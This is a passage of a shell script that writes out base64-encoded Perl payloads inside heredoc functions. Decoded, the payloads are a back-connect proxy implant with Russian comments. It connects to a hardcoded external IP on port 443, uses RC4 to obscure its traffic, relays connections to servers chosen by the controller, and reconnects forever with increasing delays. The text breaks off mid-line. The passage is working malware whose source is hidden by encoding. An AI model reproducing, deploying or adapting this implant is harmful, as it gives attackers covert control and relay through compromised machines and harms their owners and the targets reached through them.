PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_13() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzEnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
